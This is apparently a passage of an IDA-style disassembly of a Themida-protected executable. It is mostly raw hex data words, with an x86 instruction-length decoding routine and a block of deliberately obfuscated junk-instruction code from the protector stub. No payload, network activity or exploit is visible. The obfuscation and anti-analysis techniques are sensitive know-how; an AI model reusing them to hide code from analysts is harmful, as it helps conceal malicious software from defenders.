0EF6C60ECh, 0FB787401h, 0ACB979AAh dd 0BDC5B330h, 8DD4C23Fh, 9CE4D24Fh, 430AE360h, 0D3830A6Dh dd 0A6310CB7h, 525E5A4h, 0E99B16CFh, 0DF1D6A58h, 0F0EC7462h dd 0F77DE873h, 1F6553F5h, 0B4E860DDh, 0EA706CF4h, 4D784D23h dd 0CC52B47Bh, 0EB75632Ah, 827A03F1h, 0DBC95AE0h, 37401695h dd 0D7B7D38Eh, 0C16399E9h, 682FB53Bh, 4C422EA9h, 1A68173Dh dd 4ECB5CE2h, 3ADC1060h, 34EE7664h, 77C8B175h, 0D24F8DD3h dd 0BE609CE4h, 0A64884D0h, 8E30ACB8h, 781AD2A0h, 84C011FAh dd 28CC1D06h, 7D363C58h, 471EC2C4h, 0CA50D627h, 0DB115F4Dh dd 3E439h, 1F590000h, 0FAF27D94h, 0E21A6A58h, 0C9035240h dd 0B3293927h, 0A25A2311h, 87451200h, 6F6DF7E5h, 5597DFCDh dd 40BCC5B3h, 8952129Eh, 4C281E2h, 55000000h, 4BDh, 5DEA2900h dd 5C241487h, 671368h, 241C8900h, 2F368h, 24148900h, 3D97B850h dd 59257948h, 2D599B37h, 52B48C06h, 242C8150h, 2C8B10A9h dd 0A9C3815Bh, 582C8B10h, 24148B54h, 4C481h, 3D680000h dd 89000029h, 428F241Ch, 24148B08h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 0FF5C2434h, 815B2434h, 4C4h, 0C9EBE900h dd 0E021FFFAh, 0B8426043h, 653B524h, 0E0FFC503h, 393E7540h dd 1A6107FEh, 7069ABD8h, 6C4974B5h, 7AF57840h, 191130C9h dd 32F94BBFh, 4036ADBBh, 57B659D3h, 0B6AE8D8Dh, 6A0653h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0BF828C3h, 4E2659BDh, 58D8906h, 89064E2Bh, 4E222D8Dh dd 6585C706h, 74064E2Bh, 6A00005Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6E06C357h dd 0C45B1DAEh, 0FED597Bh, 85C7F3BFh, 64E065Dh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 27C35545h dd 5378E964h, 6051DD62h, 0C259531h, 0BF0F064Eh, 0B5FF61F9h dd 64E162Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 34C35646h, 95FFCC24h, 64E0F99h, 38D0Fh, 8B660000h dd 0FF006AF0h, 4E1A5995h, 0EBC08B06h, 5F40FB68h, 0D5F2308Eh dd 0B2BDF1EEh, 0A94EEF18h, 35F07499h, 0C2760726h, 2A486C7Dh dd 477243AAh, 9C2721ABh, 333B5EA7h, 0ECE32Ah, 0A23C21BEh dd 13059908h, 26600740h, 0EA511304h, 0C989CAFFh, 500C4A66h dd 62DFA61Fh, 99169F1h, 499ADA14h, 0CFB63500h, 0A94B748h dd 2317184Ah, 320497BCh, 9DCFB18Bh, 46D67603h, 0F8D8DFDh dd 6A0653B8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 6BA5C356h, 0F51053A6h, 0EB819A70h dd 504804A2h, 2B058D89h, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0FA0C14C3h, 8A0E9736h dd 0C7F348DBh, 4E2B6585h, 717406h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 85C77D5Dh dd 64E065Dh, 0 dd 0CE8h, 5482FC00h, 74C7E73Ch, 0DEE3FC96h, 58E4B62Dh dd 2F79B5FFh, 12E9064Eh, 9A000000h, 8756B42h, 0B2211CA2h dd 0AB04FED4h, 3F1D6A4Ch, 9995FF91h, 6A064E0Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0F129C351h, 1458D0E6h, 0F4E4E2DBh, 1F018D89h, 6A064Eh dd 1A5995FFh, 0C08B064Eh, 0C09C0DEBh, 0A35F4BB8h, 55242BBAh dd 0E859A29Fh, 0Fh, 2601F467h, 0E1AF402Bh, 0A718FAF6h dd 0E996C1CAh, 7, 341821C2h, 5BB6E04Eh, 81F2BF0Fh, 6AC2C3h dd 0BFDCB200h, 407E1565h, 0FAE7EF81h, 0BA60407Dh, 28FFE5AFh dd 33038B61h, 4E0C798Dh, 96F08106h, 0F5050D3Ah, 8CB7E881h dd 810F61FBh, 3, 81CBBF0Fh, 0B15CA2F0h, 0CE96055h, 0A3000000h dd 0E93BDCE2h, 0F9EA2305h, 61F2861Ch, 68D0F50h, 8B000000h dd 4E0C8195h, 66038F06h, 0EB83C88Bh, 258D8B04h, 81064E14h dd 1EFh, 21850F00h, 50000000h, 9059D89h, 0E95A064Eh, 2Ah dd 4F8F8299h, 4410FCDDh, 0BD6273ECh, 181885E5h, 7D1CBE35h dd 48A0Fh, 0BE660000h, 72E93E07h, 4FFFFFFh, 7C9784Fh, 0C08BA2A3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0B9C35040h dd 0F1F769Ah, 0BD83D1BFh, 64E2D45h, 83097500h, 4E19E1BDh dd 19740006h, 0C08B5350h, 3FCB8h, 0B9858900h, 8D064E21h dd 50B9419Dh, 5BD3FF06h, 0E1BD8358h, 64E19h, 53501774h dd 3FCB8h, 0B9858900h, 8D064E21h, 50B6309Dh, 5BD3FF06h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0F6DFDAC3h, 0D3560A58h, 6AC08Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD8362C3h, 64E2649h, 31840F01h, 0F000000h, 0B80h, 58A0F00h dd 66000000h, 77EBEA81h, 2C59BD83h, 0F00064Eh, 1385h, 0DE8B6600h dd 19F1BD83h, 0F00064Eh, 6184h, 0DEB70F00h, 385E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 830FB69Fh, 5, 0DEEA8166h, 0D2BF0FDFh, 0 dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 8B0FE0h, 0B6000000h, 0D28166FAh, 96DAF459h dd 25F80963h, 0CB80B3C1h, 23EAB3A8h, 7EB6EE8Bh, 279EDF22h dd 2779F72Ah, 23AEB3B1h, 2194E6EEh, 5FD49063h, 0C95410E0h dd 6AB99B16h, 75173626h, 0A8DCB5FAh, 0FAD6D571h, 23C46354h dd 23545BF8h, 788BB3ABh, 7F5CE868h, 676BB78Fh, 2362B78Fh dd 70F9B3ABh, 5C865C68h, 2621BC4Fh, 4557B3ABh, 82F4402Ah dd 23D1A842h, 3203D3ABh, 0BF75B3ABh, 9FC7A171h, 0E3E12D82h dd 0A06E3EB3h, 8CE305B3h, 0F014BCFCh, 0CB80D2F2h, 23EAB3ABh dd 0ED9832F6h, 2CBCE011h, 235DB329h, 71AED9ABh, 2357B043h dd 0E0F193ABh, 7813AF1h, 7AE32AFh, 2375ABAFh, 0E0E8F1ABh dd 6913CD37h, 0E82EE5CFh, 0E3DCE963h, 0CBFEB3C1h, 23D5B3A8h dd 7E29EE8Bh, 2751DF22h, 279EF72Ah, 235DB3B2h, 676DE6EEh dd 254A085Ah, 90713288h, 0B3F30439h, 23E838A4h, 0F3FEB3ABh dd 23B05AFBh, 0AC79B3ABh, 3E3B699Ah, 754D89Bh, 2C74383Bh dd 0DDF1FFAAh, 0CBB8B3C1h, 2375B3A8h, 7979E98Bh, 2779E722h dd 278AF72Ah, 2357B3B1h, 0E668E1E9h, 12A44FE7h, 998C652Fh dd 452D23F1h, 262B7611h, 235DB1A7h, 2B256020h, 0CB06B3C1h dd 23ABB3A8h, 7A16EA8Bh, 27CEFF22h, 2751F72Ah, 23BAB3BFh dd 969EE2EAh, 157533CBh, 42A004A4h, 0DFE338CDh, 0B8664E21h dd 23EAB213h, 7475D9ABh, 23BAB043h, 0E00293ABh, 7D23AF4h dd 71332AFh, 23ABA4AFh, 0E082F4ABh, 27F624CFh, 2375A142h dd 191CE3ABh, 16CF3E49h, 0FE40FAEBh, 0D96154EEh, 73E20DF3h dd 0AA0538CDh, 2C1297A7h, 2375B121h, 457500ABh, 23376A27h dd 23AD5BFCh, 7C77B3ABh, 5F22EC68h, 6754B78Fh, 23FDB78Fh dd 7432B3ABh, 9D616368h, 0A83BE0C1h, 0A2C8E874h, 0D59A5468h dd 0A6A4B76Ah, 23D5B348h, 0CBBFB3C1h, 2375B3A8h, 7E79EE8Bh dd 2779DF22h, 278AF72Ah, 2357B3B2h, 4368E6EEh, 498CAD71h dd 23EC5BD3h, 4113B3ABh, 45668C59h, 379E9610h, 49F7E8E4h dd 20BFE2ABh, 3ABB3ABh, 0AA8C70F2h, 0A2EE97E7h, 367197EFh dd 62BAB3ABh, 43A170FAh, 0A34F5D2Bh, 0A658DB92h, 23ABB304h dd 0A8060CA4h, 2380B2D2h, 23765BFEh, 7E9AB3ABh, 4FD4EE68h dd 672FB78Fh, 234FB78Fh, 76EEB3ABh, 0CBC71468h, 69508774h dd 0A258A981h, 23BAB354h, 5BDFBC2Bh, 0A9AEB3ABh, 31D2747Ch dd 22ADE011h, 2CD5B3ABh, 23EAB627h, 0C8F4D5ABh, 0B053D46Fh dd 495DB3ABh, 2046E3ABh, 357B3ABh, 0AAF370F3h, 0A2D197EFh dd 34EE97EFh, 6375B3ABh, 0FB7370FBh, 0A23B4B3Dh, 0CA7EBB48h dd 2357B398h, 78FCE3CBh, 2B2909F5h, 7A8B9E12h, 0A27A6D20h dd 23BAB3A9h, 0A03BB118h, 2C51B8D2h, 2357A12Fh, 0E82AD5ABh dd 0A6128E01h, 25B909B9h, 2375B3AAh, 6B48702Bh, 0CB0FB3C1h dd 23AEB3A8h, 7994E98Bh, 278FE722h, 27F1F72Ah, 23EAB3B0h dd 18B6E1E9h, 7A30E7FBh, 0CA286B15h, 23AEB3A5h, 6C044056h dd 0A51E5DFAh, 60BDDC12h, 96534F83h, 0AE08DEC1h, 7005A62Eh dd 0ABE03EADh, 18A8E016h, 1350C753h, 646262A4h, 23BF4640h dd 23E95BF8h, 7855B3ABh, 7F33E868h, 67DCB78Fh, 23B3B78Fh dd 7014B3ABh, 0C2096468h, 4032DB98h, 2C2E700Eh, 2375BF2Dh dd 23BD5AABh, 4CB5B3ABh, 0EBC357CAh, 0F8E8BC5Fh, 5E20E28h dd 2CD4B5E5h, 23EA352Fh, 7075D9ABh, 23BAB043h, 0E00693ABh dd 7F23AF0h, 71332AFh, 23ABA4AFh, 0E086F0ABh, 3C0A5E7Eh dd 237D33A4h, 45DAB3ABh, 0A8692B10h, 0FC2ED25Ch, 7AEA3034h dd 23ADFD87h, 239C36A4h, 4C51B3ABh, 0A03093F4h, 6DA34216h dd 0A752B3ADh, 23AEB3EEh, 2357BD42h, 95C811ABh, 0B93AD736h dd 0D0DE18E7h, 0CBEBAC53h, 23BAB3B9h, 7DB7E578h, 0D7C5B02Bh dd 3BB3E54Eh, 3E1E8CCAh, 243CECBBh, 8DEAB3ABh, 11008622h dd 0CAE10739h, 235DB3C7h, 0D41AE3CBh, 0E2E8BCF3h, 6A1630CAh dd 22D3FD8Dh, 23A036A4h, 231FB3ABh, 23B95BFAh, 7A7DB3ABh dd 6F27EA68h, 67D6B78Fh, 23B6B78Fh, 7294B3ABh, 9E817968h dd 0CB3007DFh, 7E1E5A63h, 5C003E11h, 2847709Bh, 1A57B3ABh dd 0CA3CF485h, 9993BE72h, 94BA1ADBh, 329CE986h, 2CBAB3ABh dd 0BEB6014h, 0F12FD5F6h, 999895B0h, 3BAFAF9Bh, 99950E26h dd 0AE67B5F8h, 25260D49h, 19E6AE13h, 0A2D880D0h, 8A8FD8Dh dd 96537264h, 0AE08DEC1h, 7005A62Eh, 0ABE03EADh, 18A8E016h dd 1350C753h, 646262A4h, 0F305E983h, 12BD83A4h, 653BAh dd 8D8D0D74h, 64E4E10h, 1B8h, 40E1FF00h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 0F6C35141h, 0AFC66B85h dd 8E98197h, 95000000h, 956881BCh, 0B37D3A23h, 8B0F57AAh dd 2, 835BD78Bh, 6A2DE8h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0F60A5C3h, 0D2B6FAB7h dd 65BA6661h, 81C08B13h, 26309DAh, 45BD8374h, 64E2Dh, 0BD830975h dd 64E19E1h, 50197400h, 0B8C08B53h, 3FCh, 30018589h, 9D8D064Eh dd 650B9A8h, 585BD3FFh, 19E1BD83h, 7400064Eh, 0B8535017h dd 3FCh, 30018589h, 9D8D064Eh, 650B649h, 585BD3FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0AAC35343h, 0BD436BF0h dd 0AE9DCh, 6E030000h, 93E90141h, 0ED73CD3Ah, 3820Fh, 0B70F0000h dd 0E9C08BDBh, 1C8h, 8 dup(418888h), 4 dup(0) dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h dd 0 dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h) dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0) aIiiiiiiiaiiiii db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0 aIssi db 'ˆ™™ˆ',8,0 db 2 dup(0), 88h aDdddddddiiiiii db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0 aAs db '€™',0 dd 88998000h, 88888888h, 88888900h, 89998888h, 0 dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0 dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0) dd 3, 14h dup(0) dd 8E000CC2h, 7575h, 1, 11h dup(0) dd 353E9h, 0E85500h, 5D000000h, 0C1E1ED81h, 0C7600653h dd 53C12E85h, 6, 3E816600h, 850FA166h, 0Fh, 0C13285C7h dd 60653h, 24E90000h, 8D000000h, 53C13685h, 858D5006h dd 653C186h, 6A5650h, 1DE8h, 10C48300h, 0FF25h, 32858900h dd 610653C1h, 0C132B503h, 858B0653h, 653C12Eh db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5969BF mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5969CB ; --------------------------------------------------------------------------- loc_5969BF: ; CODE XREF: Themida_:005969A8j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5969CB: ; CODE XREF: Themida_:005969BAj push ebx push esi push edi loc_5969CE: ; CODE XREF: Themida_:00596A23j ; Themida_:00596A3Fj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5969E1: ; CODE XREF: Themida_:00596A08j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 653C298h lea ebp, [ebp+653C10Eh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_596A0E inc cl cmp cl, 0Bh jb loc_5969E1 loc_596A0E: ; CODE XREF: Themida_:005969FDj cmp cl, 0Bh jz loc_596A6B cmp al, 66h jnz loc_596A4C cmp byte ptr [ebp-5], 0 jnz loc_5969CE cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_596A44 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5969CE ; --------------------------------------------------------------------------- loc_596A44: ; CODE XREF: Themida_:00596A31j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_596A4C: ; CODE XREF: Themida_:00596A19j cmp al, 67h jnz loc_5969CE cmp byte ptr [ebp-6], 0 jnz loc_5969CE xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5969CE ; --------------------------------------------------------------------------- loc_596A6B: ; CODE XREF: Themida_:00596A11j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_596A97 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_596A9C ; --------------------------------------------------------------------------- loc_596A97: ; CODE XREF: Themida_:00596A76j movzx edi, al shr edi, 1 loc_596A9C: ; CODE XREF: Themida_:00596A92j push ebp call $+5 pop ebp sub ebp, 653C350h lea ebp, [ebp+653C00Eh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_596C1E mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_596B62 dec ecx jz loc_596B45 dec ecx jnz loc_596BB5 cmp byte ptr [ebp-2], 0 jnz loc_596BB1 cmp byte ptr [ebp-5], 0 jz loc_596B24 mov byte ptr [ebp+0Bh], 2 loc_596B24: ; CODE XREF: Themida_:00596B1Aj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 653C3DCh mov dword ptr [ebp+653C12Eh], 1 pop ebp jmp loc_596BB5 ; --------------------------------------------------------------------------- loc_596B45: ; CODE XREF: Themida_:00596AFFj cmp byte ptr [ebp-2], 0 jnz loc_596B8F cmp byte ptr [ebp-5], 0 jz loc_596B8F mov byte ptr [ebp+0Bh], 2 jmp loc_596B8F ; --------------------------------------------------------------------------- loc_596B62: ; CODE XREF: Themida_:00596AF8j cmp byte ptr [ebp-2], 0 jnz loc_596BA8 cmp byte ptr [ebp-5], 0 jz loc_596B97 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_596B8F mov [ebp+0Bh], cl loc_596B8F: ; CODE XREF: Themida_:00596B49j ; Themida_:00596B53j ... inc byte ptr [ebp+0Bh] jmp loc_596BB5 ; --------------------------------------------------------------------------- loc_596B97: ; CODE XREF: Themida_:00596B70j cmp dl, 5 jnz loc_596BB5 mov [ebp+0Bh], dl jmp loc_596BB5 ; --------------------------------------------------------------------------- loc_596BA8: ; CODE XREF: Themida_:00596B66j cmp dl, 6 jnz loc_596BB5 loc_596BB1: ; CODE XREF: Themida_:00596B10j mov byte ptr [ebp+0Bh], 3 loc_596BB5: ; CODE XREF: Themida_:00596B06j ; Themida_:00596B40j ... dec byte ptr [ebp+0Bh] jz loc_596BE3 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_596BC5: ; CODE XREF: Themida_:00596BDBj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_596BC5 mov esi, edx loc_596BE3: ; CODE XREF: Themida_:00596BB8j and al, 0FEh cmp al, 0F6h jnz loc_596C18 cmp edi, 7Fh ja loc_596C18 test bl, 38h jnz loc_596C18 cmp byte ptr [ebp-7], 0 jz loc_596C12 movzx eax, byte ptr [ebp-4] jmp loc_596C15 ; --------------------------------------------------------------------------- loc_596C12: ; CODE XREF: Themida_:00596C03j push 1 pop eax loc_596C15: ; CODE XREF: Themida_:00596C0Dj mov [ebp-1], al loc_596C18: ; CODE XREF: Themida_:00596BE7j ; Themida_:00596BF0j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_596C1E: ; CODE XREF: Themida_:00596AC8j mov al, bl and eax, 7 sub eax, 4 jz loc_596C49 dec eax dec eax jz loc_596C3F and bl, 7 add [ebp-1], bl jmp loc_596C51 ; --------------------------------------------------------------------------- loc_596C3F: ; CODE XREF: Themida_:00596C2Ej mov al, [ebp-3] add al, 6 jmp loc_596C4E ; --------------------------------------------------------------------------- loc_596C49: ; CODE XREF: Themida_:00596C26j mov al, [ebp-3] add al, 4 loc_596C4E: ; CODE XREF: Themida_:00596C44j add [ebp-1], al loc_596C51: ; CODE XREF: Themida_:00596C3Aj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_596C79 movzx ecx, byte ptr [ebp-1] inc ecx loc_596C64: ; CODE XREF: Themida_:00596C73j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_596C64 loc_596C79: ; CODE XREF: Themida_:00596C59j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLS db '‹Ðè',0Dh,0 db 2 dup(0), 0C8h dd 2EFB4599h, 87ABFDF1h, 59E61893h, 0FC58F38Bh, 68D2C081h dd 16680000h, 5A00001Ah, 53088BF8h, 6890Fh, 800F0000h dd 0 dd 30E9815Bh, 667CD14Ah, 0F181F78Bh, 1AAA8049h, 0A7EE981h dd 8A0F047Ch, 4, 47ECBE66h, 81008F51h, 0F784D0E8h, 0EE91Ch dd 740000h, 0BDBA0576h, 14102CCDh, 0FA269E53h, 84CCC081h dd 0B70F1CF7h, 1EA83FAh, 0FFA3850Fh, 8B66FFFFh, 6B8D8DF7h dd 660653C6h, 0BED4D081h, 2B058D89h, 10E9064Eh, 0F000000h dd 0E8F856E1h, 38263C05h, 4565D40Fh, 0C7EE47BFh, 4E2B6585h dd 5EA006h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0C756D4EAh, 4E065D85h, 6, 5D958B00h dd 8B064E0Ah, 4E05B585h, 55B5FF06h, 6A064E16h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 4E19C355h, 0BD8B1DB3h, 64E171Dh, 0F9995FFh, 8960064Eh dd 4E0BFDBDh, 0FE906h, 0CE580000h, 0D4CA473h, 0CA8B7D9Bh dd 0BBA603CDh, 6A6168h, 1A5995FFh, 0C08B064Eh, 2DC638EBh dd 4CF2D149h, 919E0483h, 52AE9DD0h, 1E89F9F1h, 0B60FAA4Eh dd 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h, 39F9C137h, 0E7143FFh dd 0C75A487Ch, 34406A71h, 0F0791936h, 4EB9200h, 43C0C99Fh dd 551E9h, 0A7253000h, 0B5373C2Ah, 0C03C4A38h, 0D10B5543h dd 0E3196654h, 240E1566h, 3624A15Bh, 4533B02Ch, 5341BE3Eh dd 7952CF0Dh, 709BDCB2h, 0A07BB7D3h, 0F5F77D15h, 7C186553h dd 0CE54F6F6h, 97DDCB48h, 0BFC5B355h, 0A4AD9B3Dh, 0EBB28628h dd 0DA7C70FDh, 89DAC354h, 9A521E0Ch, 992AA2ACh, 0AA27A5ABh dd 0BA37B5BCh, 0A54785CCh, 0BAC9ABB7h, 0A5B2A042h, 79FF8527h dd 0EAD351F3h, 356EF599h, 0D9491373h, 59D65C7Fh, 82F5CB92h dd 94BE2725h, 9C22DAA6h, 2D571D0Bh, 7D1FA527h, 2725CDA7h dd 0C213FCBEh, 7E1320A5h, 3420DF57h, 781F4422h, 7E20DCAAh dd 0F9E172F8h, 7Fh, 0F5F77D6Eh, 36FC7D53h, 0E6CFBE27h dd 7B511895h, 0BE2736FCh, 9C03941Ah, 577E2429h, 279CE6D4h dd 7DA5F953h, 3C2AB0B6h, 941ABC30h, 11B03h, 7D900000h dd 8C490F4h, 1EF4BB82h, 0BE273659h, 5A9EB63h, 68CD9A5Eh dd 0C1AF51E2h, 0AC9A3CB0h, 0B68A2CA0h, 40FF7CCDh, 8F1833E0h dd 0A39122B2h, 0DAA11EDEh, 0C56765ECh, 0B0C0AE3Fh, 9C5225FBh dd 8C62BE26h, 0BE269CEBh, 0BA40A52Bh, 7D2CB734h, 6C5AFCF0h dd 5F1EE5E7h, 73BA3F40h, 4FF1828Fh, 22C61700h, 2C1A9755h dd 22E1A824h, 4101BBEBh, 8123B44Eh, 6F11CB93h, 29469780h dd 577E04ECh, 0C1B68C53h, 55BE26FAh, 7B563ECFh, 0CB000000h dd 0E5BBF07Dh, 0BE273692h, 90E7BD84h, 7EBE2736h, 4AEC72F8h dd 38DA125Ch, 21C3394Ah, 0CAE2E33h, 1854A58Eh, 660A5B44h dd 0F7F57B19h, 7906F471h, 69F3E183h, 0F9E2D173h, 3B8A8BA8h dd 5FB4577Eh, 29000000h, 0E5BBF07Dh, 0BE273692h, 0ADCECF2Ah dd 258A327Bh, 0B077199Fh, 993BB1C2h, 0D1D85413h, 0D7284E20h dd 0D3095846h, 26E5AC31h, 95E1FE9Bh, 260FA008h, 0A82431D5h dd 0F47DA02Bh, 0F48056F8h, 0D3BE2736h, 86F450Ch, 6BE2737h dd 91C56747h, 971D0D96h, 0AFCC1D06h, 577DBE16h, 1C8h, 0F17D3D00h dd 0E56B59FBh, 0DEC745E7h, 5F9DE98Dh, 0DE366AE2h, 0C13F4117h dd 7231B474h, 2E5258FAh, 0CF71F771h, 262093E1h, 0D665693h dd 32AAB9A7h, 7A682FACh, 7700EEEEh, 6EF6E475h, 83F6CC6Eh dd 6FB7D8AFh, 0C3913586h, 0D69E8C09h, 882AA2AEh, 0EEB57C02h dd 0D8AF5F18h, 9829AFB7h, 8F702FF6h, 4F98E966h, 541C0A9Bh dd 0BEA7F698h, 5329F06Dh, 0B7D91524h, 7E7733F2h, 0FCF1E941h dd 69F7E576h, 368FF673h, 0A8512F91h, 133h, 67022E1h, 155707Ch dd 41F3E570h, 7ACAA067h, 74B474D8h, 165E4CEEh, 0A49259D6h dd 0A29021DBh, 0B1781AD2h, 9C3EBEC3h, 9D5F2816h, 0F6E475FBh dd 7DCC6E6Eh, 0D19F4394h, 8E379E1Bh, 50513011h, 49h, 6B4DF3C5h dd 0A16DE5A4h, 362BBB87h, 5F08DEA5h, 0CFBE26B6h, 0A6D1A749h dd 22BE26B6h, 0B9BE945Bh, 5DBE26B6h, 0C5D46D7h, 1BD1A18Fh dd 8A62128Ah, 0B67AEDC3h, 0B37ABE26h, 26B69ADDh, 65F67CBEh dd 0A8FD7A00h, 0A7h, 2641F31Dh, 27362750h, 0DB61E7BEh dd 26963E14h, 0B238B475h, 7B71FDEBh, 0A5A48EAh, 196755D2h dd 0D540A7AAh, 0D05643D7h, 95571B09h, 0AD9B6204h, 0C19728A4h dd 0B7D8ADB5h, 0D855A68Fh, 0D0619BEAh, 0DD5A92E2h, 12D93365h dd 2CE3D53Ch, 34FB81AEh, 0E8E0976Dh, 0A82EBE09h, 21DF8E9h dd 0E7784EEDh, 0D3095745h, 79CAB331h, 0E57294Bh, 20A62CCEh dd 0B9D39259h, 2B2F4390h, 4E8ED4C2h, 0BF9526ACh, 0B45E0752h dd 0A0763D04h, 0B7D893D7h, 9CDBB137h, 7AB7D893h, 0E0A76EF4h dd 0C56765F2h, 930E693Fh, 7A00B7D8h, 0F3E16CE9h, 0D9A06741h dd 9691461Ah, 37C86045h, 7B37B061h, 431200B4h, 0D061E789h dd 5F1EE56Bh, 95852B73h, 0E58718D5h, 0AC7369F7h, 0AA3BB1BEh dd 35A7662Dh, 2649474Dh, 272D1BACh, 0B01FDEA5h, 1AD29B08h dd 1C2A095Bh, 0FE13E98Bh, 996E64E9h, 6E440BD2h, 7A66F109h dd 0C6B1870Dh, 487A66F0h, 4D8FD4C2h, 0AB9425ABh, 60EFDD5Ah dd 0FC827A04h, 0FB8C400Eh, 885470Dh, 0F0924A1Ah, 25376A29h dd 5CD5D9C5h, 5993DDCBh, 0FF5039B7h, 5AD7155Bh, 0F280E46Ch dd 86460CFAh, 36D85EE4h, 0DE1h, 7D531A00h, 7A66FAFAh, 7A05961Ch dd 0F27D941Fh, 1A6A58FAh, 35240E2h, 293927C9h, 5A2311B3h dd 451200A2h, 6DF7E587h, 97DFCD6Fh, 0BCC5B355h, 68129E40h dd 7823h db 89h, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov edi, 7F051C41h shl edi, 2 or edi, 504E5A3Bh inc edi push ebx mov ebx, 19D81C95h shl ebx, 7 dec ebx xor ebx, 0E1B81BC5h and edi, ebx pop ebx add edi, 0FA3D75B3h push 598Eh mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, 8 add ebx, 46BE258Fh add ebx, eax sub ebx, 46BE258Fh mov [ebx], edi pop ebx push dword ptr [esp] pop eax add esp, 4 mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5426E1 ; --------------------------------------------------------------------------- db 0FDh dd 56568778h, 61552E97h, 0B73BD212h, 59B843B1h, 30653CBh dd 13E0FFC5h, 722D0D55h, 0F71BC5E0h, 471214B8h, 961468F9h dd 0FD347638h, 2A28F9C6h, 0D17E73Ah, 1958A07Ah, 0A65E4D59h dd 0E94B6542h, 98h, 94h, 5, 1, 0A28h, 2, 20h dup(0) aSi2sx db 'ìSˆ2éå',0Bh,0 dd 0CEB46800h, 0AEE90653h, 68FFFAB2h, 653CFC9h, 0FAB2A4E9h dd 0D0D868FFh, 9AE90653h, 68FFFAB2h, 653D142h, 